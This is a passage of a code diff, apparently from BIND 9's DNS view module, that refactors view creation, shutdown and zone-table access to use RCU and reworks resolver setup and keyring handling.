 		goto cleanup_peerlist;
 	}
 
-	ISC_LINK_INIT(view, link);
-	ISC_EVENT_INIT(&view->resevent, sizeof(view->resevent), 0, NULL,
-		       DNS_EVENT_VIEWRESSHUTDOWN, resolver_shutdown, view, NULL,
-		       NULL, NULL);
-	ISC_EVENT_INIT(&view->adbevent, sizeof(view->adbevent), 0, NULL,
-		       DNS_EVENT_VIEWADBSHUTDOWN, adb_shutdown, view, NULL,
-		       NULL, NULL);
-	ISC_EVENT_INIT(&view->reqevent, sizeof(view->reqevent), 0, NULL,
-		       DNS_EVENT_VIEWREQSHUTDOWN, req_shutdown, view, NULL,
-		       NULL, NULL);
-	view->viewlist = NULL;
-	view->magic = DNS_VIEW_MAGIC;
+	dns_nametree_create(view->mctx, DNS_NAMETREE_COUNT, "sfd", &view->sfd);
 
+	view->magic = DNS_VIEW_MAGIC;
 	*viewp = view;
 
 	return (ISC_R_SUCCESS);
@@ -308,53 +181,39 @@ dns_view_create(isc_mem_t *mctx, dns_rdataclass_t rdclass, const char *name,
 
 cleanup_new_zone_lock:
 	isc_mutex_destroy(&view->new_zone_lock);
-
 	dns_badcache_destroy(&view->failcache);
 
-cleanup_dynkeys:
 	if (view->dynamickeys != NULL) {
 		dns_tsigkeyring_detach(&view->dynamickeys);
 	}
 
-cleanup_weakrefs:
 	isc_refcount_decrementz(&view->weakrefs);
 	isc_refcount_destroy(&view->weakrefs);
 
 	isc_refcount_decrementz(&view->references);
 	isc_refcount_destroy(&view->references);
 
-	if (view->fwdtable != NULL) {
-		dns_fwdtable_destroy(&view->fwdtable);
-	}
-
-cleanup_zt:
-	if (view->zonetable != NULL) {
-		dns_zt_detach(&view->zonetable);
-	}
+	dns_fwdtable_destroy(&view->fwdtable);
+	dns_zt_detach(&view->zonetable);
 
-cleanup_mutex:
 	isc_mutex_destroy(&view->lock);
 
 	if (view->nta_file != NULL) {
 		isc_mem_free(mctx, view->nta_file);
 	}
 
-cleanup_name:
 	isc_mem_free(mctx, view->name);
 	isc_mem_putanddetach(&view->mctx, view, sizeof(*view));
 
 	return (result);
 }
 
-static inline void
+static void
 destroy(dns_view_t *view) {
 	dns_dns64_t *dns64;
 	dns_dlzdb_t *dlzdb;
 
 	REQUIRE(!ISC_LINK_LINKED(view, link));
-	REQUIRE(RESSHUTDOWN(view));
-	REQUIRE(ADBSHUTDOWN(view));
-	REQUIRE(REQSHUTDOWN(view));
 
 	isc_refcount_destroy(&view->references);
 	isc_refcount_destroy(&view->weakrefs);
@@ -376,11 +235,8 @@ destroy(dns_view_t *view) {
 		if (result == ISC_R_SUCCESS) {
 			(void)isc_file_openuniqueprivate(template, &fp);
 		}
-		if (fp == NULL) {
-			dns_tsigkeyring_detach(&view->dynamickeys);
-		} else {
-			result = dns_tsigkeyring_dumpanddetach(
-				&view->dynamickeys, fp);
+		if (fp != NULL) {
+			result = dns_tsigkeyring_dump(view->dynamickeys, fp);
 			if (result == ISC_R_SUCCESS) {
 				if (fclose(fp) == 0) {
 					result = isc_file_sanitize(
@@ -399,6 +255,7 @@ destroy(dns_view_t *view) {
 				(void)remove(template);
 			}
 		}
+		dns_tsigkeyring_detach(&view->dynamickeys);
 	}
 	if (view->transports != NULL) {
 		dns_transport_list_detach(&view->transports);
@@ -406,18 +263,20 @@ destroy(dns_view_t *view) {
 	if (view->statickeys != NULL) {
 		dns_tsigkeyring_detach(&view->statickeys);
 	}
-	if (view->adb != NULL) {
-		dns_adb_detach(&view->adb);
-	}
-	if (view->resolver != NULL) {
-		dns_resolver_detach(&view->resolver);
-	}
+
+	/* These must have been detached in dns_view_detach() */
+	INSIST(view->adb == NULL);
+	INSIST(view->resolver == NULL);
+	INSIST(view->requestmgr == NULL);
+
 	dns_rrl_view_destroy(view);
 	if (view->rpzs != NULL) {
+		dns_rpz_shutdown_rpzs(view->rpzs);
 		dns_rpz_detach_rpzs(&view->rpzs);
 	}
 	if (view->catzs != NULL) {
-		dns_catz_catzs_detach(&view->catzs);
+		dns_catz_zones_shutdown(view->catzs);
+		dns_catz_zones_detach(&view->catzs);
 	}
 	for (dlzdb = ISC_LIST_HEAD(view->dlz_searched); dlzdb != NULL;
 	     dlzdb = ISC_LIST_HEAD(view->dlz_searched))
@@ -431,12 +290,6 @@ destroy(dns_view_t *view) {
 		ISC_LIST_UNLINK(view->dlz_unsearched, dlzdb, link);
 		dns_dlzdestroy(&dlzdb);
 	}
-	if (view->requestmgr != NULL) {
-		dns_requestmgr_detach(&view->requestmgr);
-	}
-	if (view->task != NULL) {
-		isc_task_detach(&view->task);
-	}
 	if (view->hints != NULL) {
 		dns_db_detach(&view->hints);
 	}
@@ -495,57 +348,16 @@ destroy(dns_view_t *view) {
 		dns_acl_detach(&view->pad_acl);
 	}
 	if (view->answeracl_exclude != NULL) {
-		dns_rbt_destroy(&view->answeracl_exclude);
+		dns_nametree_detach(&view->answeracl_exclude);
 	}
 	if (view->denyanswernames != NULL) {
-		dns_rbt_destroy(&view->denyanswernames);
+		dns_nametree_detach(&view->denyanswernames);
 	}
 	if (view->answernames_exclude != NULL) {
-		dns_rbt_destroy(&view->answernames_exclude);
-	}
-	if (view->delonly != NULL) {
-		dns_name_t *name;
-		int i;
-
-		for (i = 0; i < DNS_VIEW_DELONLYHASH; i++) {
-			name = ISC_LIST_HEAD(view->delonly[i]);
-			while (name != NULL) {
-				ISC_LIST_UNLINK(view->delonly[i], name, link);
-				dns_name_free(name, view->mctx);
-				isc_mem_put(view->mctx, name, sizeof(*name));
-				name = ISC_LIST_HEAD(view->delonly[i]);
-			}
-		}
-		isc_mem_put(view->mctx, view->delonly,
-			    sizeof(dns_namelist_t) * DNS_VIEW_DELONLYHASH);
-		view->delonly = NULL;
-	}
-	if (view->rootexclude != NULL) {
-		dns_name_t *name;
-		int i;
-
-		for (i = 0; i < DNS_VIEW_DELONLYHASH; i++) {
-			name = ISC_LIST_HEAD(view->rootexclude[i]);
-			while (name != NULL) {
-				ISC_LIST_UNLINK(view->rootexclude[i], name,
-						link);
-				dns_name_free(name, view->mctx);
-				isc_mem_put(view->mctx, name, sizeof(*name));
-				name = ISC_LIST_HEAD(view->rootexclude[i]);
-			}
-		}
-		isc_mem_put(view->mctx, view->rootexclude,
-			    sizeof(dns_namelist_t) * DNS_VIEW_DELONLYHASH);
-		view->rootexclude = NULL;
-	}
-	if (view->adbstats != NULL) {
-		isc_stats_detach(&view->adbstats);
-	}
-	if (view->resstats != NULL) {
-		isc_stats_detach(&view->resstats);
+		dns_nametree_detach(&view->answernames_exclude);
 	}
-	if (view->resquerystats != NULL) {
-		dns_stats_detach(&view->resquerystats);
+	if (view->sfd != NULL) {
+		dns_nametree_detach(&view->sfd);
 	}
 	if (view->secroots_priv != NULL) {
 		dns_keytable_detach(&view->secroots_priv);
@@ -619,37 +431,64 @@ dns_view_attach(dns_view_t *source, dns_view_t **targetp) {
 	*targetp = source;
 }
 
-static void
-view_flushanddetach(dns_view_t **viewp, bool flush) {
+void
+dns_view_detach(dns_view_t **viewp) {
+	dns_view_t *view = NULL;
+
 	REQUIRE(viewp != NULL && DNS_VIEW_VALID(*viewp));
-	dns_view_t *view = *viewp;
-	*viewp = NULL;
 
-	if (flush) {
-		view->flush = flush;
-	}
+	view = *viewp;
+	*viewp = NULL;
 
 	if (isc_refcount_decrement(&view->references) == 1) {
 		dns_zone_t *mkzone = NULL, *rdzone = NULL;
+		dns_zt_t *zonetable = NULL;
+		dns_resolver_t *resolver = NULL;
+		dns_adb_t *adb = NULL;
+		dns_requestmgr_t *requestmgr = NULL;
+		dns_dispatchmgr_t *dispatchmgr = NULL;
 
 		isc_refcount_destroy(&view->references);
-		if (!RESSHUTDOWN(view)) {
+
+		/* Shutdown the attached objects first */
+		if (view->resolver != NULL) {
 			dns_resolver_shutdown(view->resolver);
 		}
-		if (!ADBSHUTDOWN(view)) {
-			dns_adb_shutdown(view->adb);
+
+		rcu_read_lock();
+		adb = rcu_dereference(view->adb);
+		if (adb != NULL) {
+			dns_adb_shutdown(adb);
 		}
-		if (!REQSHUTDOWN(view)) {
+		rcu_read_unlock();
+
+		if (view->requestmgr != NULL) {
 			dns_requestmgr_shutdown(view->requestmgr);
 		}
+
+		/* Swap the pointers under the lock */
 		LOCK(&view->lock);
-		if (view->zonetable != NULL) {
+
+		if (view->resolver != NULL) {
+			resolver = view->resolver;
+			view->resolver = NULL;
+		}
+
+		rcu_read_lock();
+		zonetable = rcu_xchg_pointer(&view->zonetable, NULL);
+		if (zonetable != NULL) {
 			if (view->flush) {
-				dns_zt_flushanddetach(&view->zonetable);
-			} else {
-				dns_zt_detach(&view->zonetable);
+				dns_zt_flush(zonetable);
 			}
 		}
+		adb = rcu_xchg_pointer(&view->adb, NULL);
+		dispatchmgr = rcu_xchg_pointer(&view->dispatchmgr, NULL);
+		rcu_read_unlock();
+
+		if (view->requestmgr != NULL) {
+			requestmgr = view->requestmgr;
+			view->requestmgr = NULL;
+		}
 		if (view->managed_keys != NULL) {
 			mkzone = view->managed_keys;
 			view->managed_keys = NULL;
@@ -665,18 +504,34 @@ view_flushanddetach(dns_view_t **viewp, bool flush) {
 			}
 		}
 		if (view->catzs != NULL) {
-			dns_catz_catzs_detach(&view->catzs);
+			dns_catz_zones_shutdown(view->catzs);
+			dns_catz_zones_detach(&view->catzs);
 		}
 		if (view->ntatable_priv != NULL) {
 			dns_ntatable_shutdown(view->ntatable_priv);
 		}
 		UNLOCK(&view->lock);
 
-		/* Need to detach zones outside view lock */
+		/* Detach outside view lock */
+		if (resolver != NULL) {
+			dns_resolver_detach(&resolver);
+		}
+		synchronize_rcu();
+		if (dispatchmgr != NULL) {
+			dns_dispatchmgr_detach(&dispatchmgr);
+		}
+		if (adb != NULL) {
+			dns_adb_detach(&adb);
+		}
+		if (zonetable != NULL) {
+			dns_zt_detach(&zonetable);
+		}
+		if (requestmgr != NULL) {
+			dns_requestmgr_detach(&requestmgr);
+		}
 		if (mkzone != NULL) {
 			dns_zone_detach(&mkzone);
 		}
-
 		if (rdzone != NULL) {
 			dns_zone_detach(&rdzone);
 		}
@@ -685,16 +540,6 @@ view_flushanddetach(dns_view_t **viewp, bool flush) {
 	}
 }
 
-void
-dns_view_flushanddetach(dns_view_t **viewp) {
-	view_flushanddetach(viewp, true);
-}
-
-void
-dns_view_detach(dns_view_t **viewp) {
-	view_flushanddetach(viewp, false);
-}
-
 static isc_result_t
 dialup(dns_zone_t *zone, void *dummy) {
 	UNUSED(dummy);
@@ -704,10 +549,16 @@ dialup(dns_zone_t *zone, void *dummy) {
 
 void
 dns_view_dialup(dns_view_t *view) {
+	dns_zt_t *zonetable = NULL;
+
 	REQUIRE(DNS_VIEW_VALID(view));
-	REQUIRE(view->zonetable != NULL);
 
-	(void)dns_zt_apply(view->zonetable, false, NULL, dialup, NULL);
+	rcu_read_lock();
+	zonetable = rcu_dereference(view->zonetable);
+	if (zonetable != NULL) {
+		(void)dns_zt_apply(zonetable, false, NULL, dialup, NULL);
+	}
+	rcu_read_unlock();
 }
 
 void
@@ -722,11 +573,13 @@ dns_view_weakattach(dns_view_t *source, dns_view_t **targetp) {
 
 void
 dns_view_weakdetach(dns_view_t **viewp) {
-	dns_view_t *view;
+	dns_view_t *view = NULL;
 
 	REQUIRE(viewp != NULL);
+
 	view = *viewp;
 	*viewp = NULL;
+
 	REQUIRE(DNS_VIEW_VALID(view));
 
 	if (isc_refcount_decrement(&view->weakrefs) == 1) {
@@ -734,128 +587,49 @@ dns_view_weakdetach(dns_view_t **viewp) {
 	}
 }
 
-static void
-resolver_shutdown(isc_task_t *task, isc_event_t *event) {
-	dns_view_t *view = event->ev_arg;
-
-	REQUIRE(event->ev_type == DNS_EVENT_VIEWRESSHUTDOWN);
-	REQUIRE(DNS_VIEW_VALID(view));
-	REQUIRE(view->task == task);
-
-	UNUSED(task);
-
-	isc_event_free(&event);
-
-	atomic_fetch_or(&view->attributes, DNS_VIEWATTR_RESSHUTDOWN);
-	dns_view_weakdetach(&view);
-}
-
-static void
-adb_shutdown(isc_task_t *task, isc_event_t *event) {
-	dns_view_t *view = event->ev_arg;
-
-	REQUIRE(event->ev_type == DNS_EVENT_VIEWADBSHUTDOWN);
-	REQUIRE(DNS_VIEW_VALID(view));
-	REQUIRE(view->task == task);
-
-	UNUSED(task);
-
-	isc_event_free(&event);
-
-	atomic_fetch_or(&view->attributes, DNS_VIEWATTR_ADBSHUTDOWN);
-
-	dns_view_weakdetach(&view);
-}
-
-static void
-req_shutdown(isc_task_t *task, isc_event_t *event) {
-	dns_view_t *view = event->ev_arg;
-
-	REQUIRE(event->ev_type == DNS_EVENT_VIEWREQSHUTDOWN);
-	REQUIRE(DNS_VIEW_VALID(view));
-	REQUIRE(view->task == task);
-
-	UNUSED(task);
-
-	isc_event_free(&event);
-
-	atomic_fetch_or(&view->attributes, DNS_VIEWATTR_REQSHUTDOWN);
-
-	dns_view_weakdetach(&view);
-}
-
-isc_result_t
-dns_view_createzonetable(dns_view_t *view) {
-	REQUIRE(DNS_VIEW_VALID(view));
-	REQUIRE(!view->frozen);
-	REQUIRE(view->zonetable == NULL);
-
-	return (dns_zt_create(view->mctx, view->rdclass, &view->zonetable));
-}
-
 isc_result_t
-dns_view_createresolver(dns_view_t *view, isc_taskmgr_t *taskmgr,
-			unsigned int ntasks, unsigned int ndisp,
-			isc_socketmgr_t *socketmgr, isc_timermgr_t *timermgr,
-			unsigned int options, dns_dispatchmgr_t *dispatchmgr,
+dns_view_createresolver(dns_view_t *view, isc_loopmgr_t *loopmgr,
+			unsigned int ndisp, isc_nm_t *netmgr,
+			unsigned int options, isc_tlsctx_cache_t *tlsctx_cache,
 			dns_dispatch_t *dispatchv4,
 			dns_dispatch_t *dispatchv6) {
 	isc_result_t result;
-	isc_event_t *event;
 	isc_mem_t *mctx = NULL;
 
 	REQUIRE(DNS_VIEW_VALID(view));
 	REQUIRE(!view->frozen);
 	REQUIRE(view->resolver == NULL);
+	REQUIRE(view->dispatchmgr != NULL);
 
-	result = isc_task_create(taskmgr, 0, &view->task);
+	result = dns_resolver_create(view, loopmgr, ndisp, netmgr, options,
+				     tlsctx_cache, dispatchv4, dispatchv6,
+				     &view->resolver);
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
-	isc_task_setname(view->task, "view", view);
-
-	result = dns_resolver_create(view, taskmgr, ntasks, ndisp, socketmgr,
-				     timermgr, options, dispatchmgr, dispatchv4,
-				     dispatchv6, &view->resolver);
-	if (result != ISC_R_SUCCESS) {
-		isc_task_detach(&view->task);
-		return (result);
-	}
-	event = &view->resevent;
-	dns_resolver_whenshutdown(view->resolver, view->task, &event);
-	atomic_fetch_and(&view->attributes, ~DNS_VIEWATTR_RESSHUTDOWN);
-	isc_refcount_increment(&view->weakrefs);
 
 	isc_mem_create(&mctx);
-
-	result = dns_adb_create(mctx, view, timermgr, taskmgr, &view->adb);
 	isc_mem_setname(mctx, "ADB");
+	dns_adb_create(mctx, view, loopmgr, &view->adb);
 	isc_mem_detach(&mctx);
-	if (result != ISC_R_SUCCESS) {
-		dns_resolver_shutdown(view->resolver);
-		return (result);
-	}
-	event = &view->adbevent;
-	dns_adb_whenshutdown(view->adb, view->task, &event);
-	atomic_fetch_and(&view->attributes, ~DNS_VIEWATTR_ADBSHUTDOWN);
-	isc_refcount_increment(&view->weakrefs);
 
-	result = dns_requestmgr_create(view->mctx, timermgr, socketmgr,
-				       dns_resolver_taskmgr(view->resolver),
-				       dns_resolver_dispatchmgr(view->resolver),
+	result = dns_requestmgr_create(view->mctx, loopmgr, view->dispatchmgr,
 				       dispatchv4, dispatchv6,
 				       &view->requestmgr);
 	if (result != ISC_R_SUCCESS) {
-		dns_adb_shutdown(view->adb);
-		dns_resolver_shutdown(view->resolver);
-		return (result);
+		goto cleanup_adb;
 	}
-	event = &view->reqevent;
-	dns_requestmgr_whenshutdown(view->requestmgr, view->task, &event);
-	atomic_fetch_and(&view->attributes, ~DNS_VIEWATTR_REQSHUTDOWN);
-	isc_refcount_increment(&view->weakrefs);
 
 	return (ISC_R_SUCCESS);
+
+cleanup_adb:
+	dns_adb_shutdown(view->adb);
+	dns_adb_detach(&view->adb);
+
+	dns_resolver_shutdown(view->resolver);
+	dns_resolver_detach(&view->resolver);
+
+	return (result);
 }
 
 void
@@ -901,7 +675,7 @@ dns_view_settransports(dns_view_t *view, dns_transport_list_t *list) {
 }
 
 void
-dns_view_setkeyring(dns_view_t *view, dns_tsig_keyring_t *ring) {
+dns_view_setkeyring(dns_view_t *view, dns_tsigkeyring_t *ring) {
 	REQUIRE(DNS_VIEW_VALID(view));
 	REQUIRE(ring != NULL);
 	if (view->statickeys != NULL) {
@@ -911,7 +685,7 @@ dns_view_setkeyring(dns_view_t *view, dns_tsig_keyring_t *ring) {
 }
 
 void
-dns_view_setdynamickeyring(dns_view_t *view, dns_tsig_keyring_t *ring) {
+dns_view_setdynamickeyring(dns_view_t *view, dns_tsigkeyring_t *ring) {
 	REQUIRE(DNS_VIEW_VALID(view));
 	REQUIRE(ring != NULL);
 	if (view->dynamickeys != NULL) {
@@ -921,7 +695,7 @@ dns_view_setdynamickeyring(dns_view_t *view, dns_tsig_keyring_t *ring) {
 }
 
 void
-dns_view_getdynamickeyring(dns_view_t *view, dns_tsig_keyring_t **ringp) {
+dns_view_getdynamickeyring(dns_view_t *view, dns_tsigkeyring_t **ringp) {
 	REQUIRE(DNS_VIEW_VALID(view));
 	REQUIRE(ringp != NULL && *ringp == NULL);
 	if (view->dynamickeys != NULL) {
@@ -943,7 +717,7 @@ dns_view_restorekeyring(dns_view_t *view) {
 		if (result == ISC_R_SUCCESS) {
 			fp = fopen(keyfile, "r");
 			if (fp != NULL) {
-				dns_keyring_restore(view->dynamickeys, fp);
+				dns_tsigkeyring_restore(view->dynamickeys, fp);
 				(void)fclose(fp);
 			}
 		}
@@ -979,34 +753,58 @@ dns_view_thaw(dns_view_t *view) {
 isc_result_t
 dns_view_addzone(dns_view_t *view, dns_zone_t *zone) {
 	isc_result_t result;
+	dns_zt_t *zonetable = NULL;
 
 	REQUIRE(DNS_VIEW_VALID(view));
 	REQUIRE(!view->frozen);
-	REQUIRE(view->zonetable != NULL);
 
-	result = dns_zt_mount(view->zonetable, zone);
+	rcu_read_lock();
+	zonetable = rcu_dereference(view->zonetable);
+	if (zonetable != NULL) {
+		result = dns_zt_mount(zonetable, zone);
+	} else {
+		result = ISC_R_SHUTTINGDOWN;
+	}
+	rcu_read_unlock();
+
+	return (result);
+}
+
+isc_result_t
+dns_view_delzone(dns_view_t *view, dns_zone_t *zone) {
+	isc_result_t result;
+	dns_zt_t *zonetable = NULL;
+
+	REQUIRE(DNS_VIEW_VALID(view));
+
+	rcu_read_lock();
+	zonetable = rcu_dereference(view->zonetable);
+	if (zonetable != NULL) {
+		result = dns_zt_unmount(zonetable, zone);
+	} else {
+		result = ISC_R_SUCCESS;
+	}
+	rcu_read_unlock();
 
 	return (result);
 }
 
 isc_result_t
 dns_view_findzone(dns_view_t *view, const dns_name_t *name,
-		  dns_zone_t **zonep) {
+		  unsigned int options, dns_zone_t **zonep) {
 	isc_result_t result;
+	dns_zt_t *zonetable = NULL;
 
 	REQUIRE(DNS_VIEW_VALID(view));
 
-	LOCK(&view->lock);
-	if (view->zonetable != NULL) {
-		result = dns_zt_find(view->zonetable, name, 0, NULL, zonep);
-		if (result == DNS_R_PARTIALMATCH) {
-			dns_zone_detach(zonep);
-			result = ISC_R_NOTFOUND;
-		}
+	rcu_read_lock();
+	zonetable = rcu_dereference(view->zonetable);
+	if (zonetable != NULL) {
+		result = dns_zt_find(zonetable, name, options, zonep);
 	} else {
 		result = ISC_R_NOTFOUND;
 	}
-	UNLOCK(&view->lock);
+	rcu_read_unlock();
 
 	return (result);
 }
@@ -1018,11 +816,12 @@ dns_view_find(dns_view_t *view, const dns_name_t *name, dns_rdatatype_t type,
 	      dns_name_t *foundname, dns_rdataset_t *rdataset,
 	      dns_rdataset_t *sigrdataset) {
 	isc_result_t result;
-	dns_db_t *db, *zdb;
-	dns_dbnode_t *node, *znode;
+	dns_db_t *db = NULL, *zdb = NULL;
+	dns_dbnode_t *node = NULL, *znode = NULL;
 	bool is_cache, is_staticstub_zone;
 	dns_rdataset_t zrdataset, zsigrdataset;
-	dns_zone_t *zone;
+	dns_zone_t *zone = NULL;
+	dns_zt_t *zonetable = NULL;
 
 	/*
 	 * Find an rdataset whose owner name is 'name', and whose type is
@@ -1040,24 +839,19 @@ dns_view_find(dns_view_t *view, const dns_name_t *name, dns_rdatatype_t type,
 	 */
 	dns_rdataset_init(&zrdataset);
 	dns_rdataset_init(&zsigrdataset);
-	zdb = NULL;
-	znode = NULL;
 
 	/*
 	 * Find a database to answer the query.
 	 */
-	db = NULL;
-	node = NULL;
 	is_staticstub_zone = false;
-	zone = NULL;
-	LOCK(&view->lock);
-	if (view->zonetable != NULL) {
-		result = dns_zt_find(view->zonetable, name, DNS_ZTFIND_MIRROR,
-				     NULL, &zone);
+	rcu_read_lock();
+	zonetable = rcu_dereference(view->zonetable);
+	if (zonetable != NULL) {
+		result = dns_zt_find(zonetable, name, DNS_ZTFIND_MIRROR, &zone);
 	} else {
-		result = ISC_R_NOTFOUND;
+		result = ISC_R_SHUTTINGDOWN;
 	}
-	UNLOCK(&view->lock);
+	rcu_read_unlock();
 	if (zone != NULL && dns_zone_gettype(zone) == dns_zone_staticstub &&
 	    !use_static_stub)
 	{
@@ -1095,7 +889,8 @@ dns_view_find(dns_view_t *view, const dns_name_t *name, dns_rdatatype_t type,
 			dns_rdataset_disassociate(rdataset);
 		}
 		if (sigrdataset != NULL &&
-		    dns_rdataset_isassociated(sigrdataset)) {
+		    dns_rdataset_isassociated(sigrdataset))
+		{
 			dns_rdataset_disassociate(sigrdataset);
 		}
 		if (node != NULL) {
@@ -1123,7 +918,8 @@ dns_view_find(dns_view_t *view, const dns_name_t *name, dns_rdatatype_t type,
 			if (dns_rdataset_isassociated(&zrdataset)) {
 				dns_rdataset_clone(&zrdataset, rdataset);
 				if (sigrdataset != NULL &&
-				    dns_rdataset_isassociated(&zsigrdataset)) {
+				    dns_rdataset_isassociated(&zsigrdataset))
+				{
 					dns_rdataset_clone(&zsigrdataset,
 							   sigrdataset);
 				}
@@ -1150,7 +946,8 @@ dns_view_find(dns_view_t *view, const dns_name_t *name, dns_rdatatype_t type,
 			dns_rdataset_clone(rdataset, &zrdataset);
 			dns_rdataset_disassociate(rdataset);
 			if (sigrdataset != NULL &&
-			    dns_rdataset_isassociated(sigrdataset)) {
+			    dns_rdataset_isassociated(sigrdataset))
+			{
 				dns_rdataset_clone(sigrdataset, &zsigrdataset);
 				dns_rdataset_disassociate(sigrdataset);
 			}
@@ -1172,7 +969,8 @@ dns_view_find(dns_view_t *view, const dns_name_t *name, dns_rdatatype_t type,
 			dns_rdataset_disassociate(rdataset);
 		}
 		if (sigrdataset != NULL &&
-		    dns_rdataset_isassociated(sigrdataset)) {
+		    dns_rdataset_isassociated(sigrdataset))
+		{
 			dns_rdataset_disassociate(sigrdataset);
 		}
 		if (db != NULL) {
@@ -1189,9 +987,14 @@ dns_view_find(dns_view_t *view, const dns_name_t *name, dns_rdatatype_t type,
 			 * We just used a hint.  Let the resolver know it
 			 * should consider priming.
 			 */
-			dns_resolver_prime(view->resolver);
-			dns_db_attach(view->hints, &db);
-			result = DNS_R_HINT;
+			dns_resolver_t *res = NULL;
+			result = dns_view_getresolver(view, &res);
+			if (result == ISC_R_SUCCESS) {
+				dns_resolver_prime(res);
+				dns_db_attach(view->hints, &db);
+				dns_resolver_detach(&res);
+				result = DNS_R_HINT;
+			}
 		} else if (result == DNS_R_NXRRSET) {
 			dns_db_attach(view->hints, &db);
 			result = DNS_R_HINTNXRRSET;
@@ -1269,7 +1072,8 @@ dns_view_simplefind(dns_view_t *view, const dns_name_t *name,
 			dns_rdataset_disassociate(rdataset);
 		}
 		if (sigrdataset != NULL &&
-		    dns_rdataset_isassociated(sigrdataset)) {
+		    dns_rdataset_isassociated(sigrdataset))
+		{
 			dns_rdataset_disassociate(sigrdataset);
 		}
 	} else if (result != ISC_R_SUCCESS && result != DNS_R_GLUE &&
@@ -1281,7 +1085,8 @@ dns_view_simplefind(dns_view_t *view, const dns_name_t *name,
 			dns_rdataset_disassociate(rdataset);
 		}
 		if (sigrdataset != NULL &&
-		    dns_rdataset_isassociated(sigrdataset)) {
+		    dns_rdataset_isassociated(sigrdataset))
+		{
 			dns_rdataset_disassociate(sigrdataset);
 		}
 		result = ISC_R_NOTFOUND;
@@ -1296,10 +1101,11 @@ dns_view_findzonecut(dns_view_t *view, const dns_name_t *name,
 		     unsigned int options, bool use_hints, bool use_cache,
 		     dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset) {
 	isc_result_t result;
-	dns_db_t *db;
-	bool is_cache, use_zone, try_hints;
-	dns_zone_t *zone;
-	dns_name_t *zfname;
+	dns_db_t *db = NULL;
+	bool is_cache, use_zone = false, try_hints = false;
+	dns_zone_t *zone = NULL;
+	dns_name_t *zfname = NULL;
+	dns_zt_t *zonetable = NULL;
 	dns_rdataset_t zrdataset, zsigrdataset;
 	dns_fixedname_t zfixedname;
 	unsigned int ztoptions = DNS_ZTFIND_MIRROR;
@@ -1307,11 +1113,6 @@ dns_view_findzonecut(dns_view_t *view, const dns_name_t *name,
 	REQUIRE(DNS_VIEW_VALID(view));
 	REQUIRE(view->frozen);
 
-	db = NULL;
-	use_zone = false;
-	try_hints = false;
-	zfname = NULL;
-
 	/*
 	 * Initialize.
 	 */
@@ -1322,18 +1123,17 @@ dns_view_findzonecut(dns_view_t *view, const dns_name_t *name,
 	/*
 	 * Find the right database.
 	 */
-	zone = NULL;
-	LOCK(&view->lock);
-	if (view->zonetable != NULL) {
-		if ((options & DNS_DBFIND_NOEXACT) != 0) {
-			ztoptions |= DNS_ZTFIND_NOEXACT;
-		}
-		result = dns_zt_find(view->zonetable, name, ztoptions, NULL,
-				     &zone);
+	if ((options & DNS_DBFIND_NOEXACT) != 0) {
+		ztoptions |= DNS_ZTFIND_NOEXACT;
+	}
+	rcu_read_lock();
+	zonetable = rcu_dereference(view->zonetable);
+	if (zonetable != NULL) {
+		result = dns_zt_find(zonetable, name, ztoptions, &zone);
 	} else {
-		result = ISC_R_NOTFOUND;
+		result = ISC_R_SHUTTINGDOWN;
 	}
-	UNLOCK(&view->lock);
+	rcu_read_unlock();
 	if (result == ISC_R_SUCCESS || result == DNS_R_PARTIALMATCH) {
 		result = dns_zone_getdb(zone, &db);
 	}
@@ -1388,7 +1188,8 @@ dns_view_findzonecut(dns_view_t *view, const dns_name_t *name,
 			dns_rdataset_clone(rdataset, &zrdataset);
 			dns_rdataset_disassociate(rdataset);
 			if (sigrdataset != NULL &&
-			    dns_rdataset_isassociated(sigrdataset)) {
+			    dns_rdataset_isassociated(sigrdataset))
+			{
 				dns_rdataset_clone(sigrdataset, &zsigrdataset);
 				dns_rdataset_disassociate(sigrdataset);
 			}
@@ -1442,7 +1243,8 @@ dns_view_findzonecut(dns_view_t *view, const dns_name_t *name,
 		if (dns_rdataset_isassociated(rdataset)) {
 			dns_rdataset_disassociate(rdataset);
 			if (sigrdataset != NULL &&
-			    dns_rdataset_isassociated(sigrdataset)) {
+			    dns_rdataset_isassociated(sigrdataset))
+			{
 				dns_rdataset_disassociate(sigrdataset);
 			}
 		}
@@ -1452,7 +1254,8 @@ dns_view_findzonecut(dns_view_t *view, const dns_name_t *name,
 		}
 		dns_rdataset_clone(&zrdataset, rdataset);
 		if (sigrdataset != NULL &&
-		    dns_rdataset_isassociated(&zrdataset)) {
+		    dns_rdataset_isassociated(&zrdataset))
+		{
 			dns_rdataset_clone(&zsigrdataset, sigrdataset);
 		}
 	} else if (try_hints) {
@@ -1523,7 +1326,6 @@ dns_viewlist_findzone(dns_viewlist_t *list, const dns_name_t *name,
 	dns_view_t *view;
 	isc_result_t result;
 	dns_zone_t *zone1 = NULL, *zone2 = NULL;
-	dns_zone_t **zp = NULL;
 
 	REQUIRE(list != NULL);
 	REQUIRE(zonep != NULL && *zonep == NULL);
@@ -1531,33 +1333,20 @@ dns_viewlist_findzone(dns_viewlist_t *list, const dns_name_t *name,
 	for (view = ISC_LIST_HEAD(*list); view != NULL;
 	     view = ISC_LIST_NEXT(view, link))
 	{
+		dns_zt_t *zonetable = NULL;
 		if (!allclasses && view->rdclass != rdclass) {
 			continue;
 		}
-
-		/*
-		 * If the zone is defined in more than one view,
-		 * treat it as not found.
-		 */
-		zp = (zone1 == NULL) ? &zone1 : &zone2;
-		LOCK(&view->lock);
-		if (view->zonetable != NULL) {
-			result = dns_zt_find(view->zonetable, name, 0, NULL,
-					     zp);
+		rcu_read_lock();
+		zonetable = rcu_dereference(view->zonetable);
+		if (zonetable != NULL) {
+			result = dns_zt_find(zonetable, name, DNS_ZTFIND_EXACT,
+					     (zone1 == NULL) ? &zone1 : &zone2);
 		} else {
 			result = ISC_R_NOTFOUND;
 		}
-		UNLOCK(&view->lock);
-		INSIST(result == ISC_R_SUCCESS || result == ISC_R_NOTFOUND ||
-		       result == DNS_R_PARTIALMATCH);
-
-		/* Treat a partial match as no match */
-		if (result == DNS_R_PARTIALMATCH) {
-			dns_zone_detach(zp);
-			result = ISC_R_NOTFOUND;
-			POST(result);
-		}
-
+		rcu_read_unlock();
+		INSIST(result == ISC_R_SUCCESS || result == ISC_R_NOTFOUND);
 		if (zone2 != NULL) {
 			dns_zone_detach(&zone1);
 			dns_zone_detach(&zone2);
@@ -1576,19 +1365,39 @@ dns_viewlist_findzone(dns_viewlist_t *list, const dns_name_t *name,
 
 isc_result_t
 dns_view_load(dns_view_t *view, bool stop, bool newonly) {
+	isc_result_t result;
